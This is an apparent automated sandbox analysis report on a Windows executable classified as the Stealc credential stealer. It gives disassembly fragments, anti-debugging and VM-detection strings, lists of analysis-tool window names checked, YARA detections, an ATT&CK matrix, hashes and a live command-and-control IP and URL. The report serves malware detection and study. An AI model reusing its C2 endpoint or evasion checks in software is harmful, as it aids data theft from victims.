Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11918DB second address: 1191911 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F86385196E2h 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 push ebx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b pop eax 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 pop eax 0x00000026 push edx 0x00000027 pop edx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191B96 second address: 1191B9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191B9A second address: 1191C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F86385196D8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 movzx edx, cx 0x00000027 push dword ptr [ebp+124612C5h] 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007F86385196D8h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 00000016h 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 add edx, dword ptr [ebp+122D3660h] 0x0000004d jbe 00007F86385196DBh 0x00000053 and dx, 9BD7h 0x00000058 push 639CE062h 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191C06 second address: 1191C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191C0A second address: 1191C10 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7028F second address: 4F702A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F702A4 second address: 4F702DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F86385196E7h 0x00000008 pop esi 0x00000009 push edx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 movsx ebx, ax 0x00000013 mov dx, ax 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F86385196DBh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7039F second address: 4F7040B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F863914EA2Ah 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e mov di, si 0x00000011 mov eax, 3235C579h 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F863914EA34h 0x0000001d mov ebp, esp 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F863914EA2Eh 0x00000026 and cl, FFFFFFB8h 0x00000029 jmp 00007F863914EA2Bh 0x0000002e popfd 0x0000002f mov eax, 6E497FEFh 0x00000034 popad 0x00000035 pop ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F863914EA31h 0x0000003d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F01933 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10CDDFD instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00CB38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CB4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CADA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CADA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00CAE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00CB4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00CAED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CA16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CA16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00CB3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CAF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CABE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CABE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CADE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CADE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CA1160 GetSystemInfo,ExitProcess,

0_2_00CA1160

Source: file.exe, file.exe, 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1367337890.0000000000A32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1367337890.00000000009BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1367337890.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhp
Source: file.exe, 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13707
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13704
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13723
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13759
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13719

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CA45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00CA45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00CB9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CB9750 mov eax, dword ptr fs:[00000030h]

0_2_00CB9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CB78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00CB78E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6952, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CB9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00CB9600

Source: file.exe, 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: gProgram Manager
Source: file.exe	Binary or memory string: gProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00CB7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CB7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00CB7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CB7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00CB7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CB7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00CB7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1367337890.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1326837199.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6952, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1367337890.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1326837199.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6952, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true		unknown
http://185.215.113.37/e2b1563c6670f193.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.37Wi	file.exe, 00000000.00000002.1367337890.00000000009BE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37//%	file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.phpktop	file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1367337890.00000000009BE000.00000004.00000020.00020000.00000000.sdmp	true	unknown
http://185.215.113.37/e2b1563c6670f193.php0	file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.php?	file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/:%	file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.phpg	file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520640
Start date and time:	2024-09-27 17:40:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 82
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	kYpONUhAR5.exe	Get hash	malicious	RedLine	Browse	185.215.113.67
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950289815531836
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'847'808 bytes
MD5:	fe0680dfa4a95f3c9f5efe7b68bebdc8
SHA1:	e9bc2c7b21daeb95a9d77aa34afc1476648b573f
SHA256:	aeb0218c5ae46c5d264100339920bca9c56a8f83b0a37383dbea2e33683d35d8
SHA512:	7c0416ea98c918e103fded52756677d72a887e47cbde16fee5f7e447d2dec1fcff758f1ebb12add4d6439497b0899aa2b7c25e83200b806039ab188957861c7a
SSDEEP:	49152:kS+0TkTdhEbo+v+W3rzuEcVYobaS0aZ8iWv5i:kAkj+9H3rAVaS0vt
TLSH:	C98533AE1A1B107BD4D5B47003FF1E49FB8C152474E16AD28A318676CBE7AA1BF32C15
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L.../..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F1BA2F [Mon Sep 23 18:57:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F86386BED2Ah
movups xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F86386C0D25h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	d14b2abdbd6203f2e6be5941cbdeb89e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a2000	0x200	73ef0bbdbe85d60f62bd98f77be3600d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vpiveclu	0x500000	0x19d000	0x19d000	136ba286d3ed0550c701089edd175b03	False	0.9948866430841404	data	7.954457957368027	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
abjcrpar	0x69d000	0x1000	0x400	1e9dfa31a6599407b9e827ad9dfc30ca	False	0.697265625	data	5.680595868484483	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
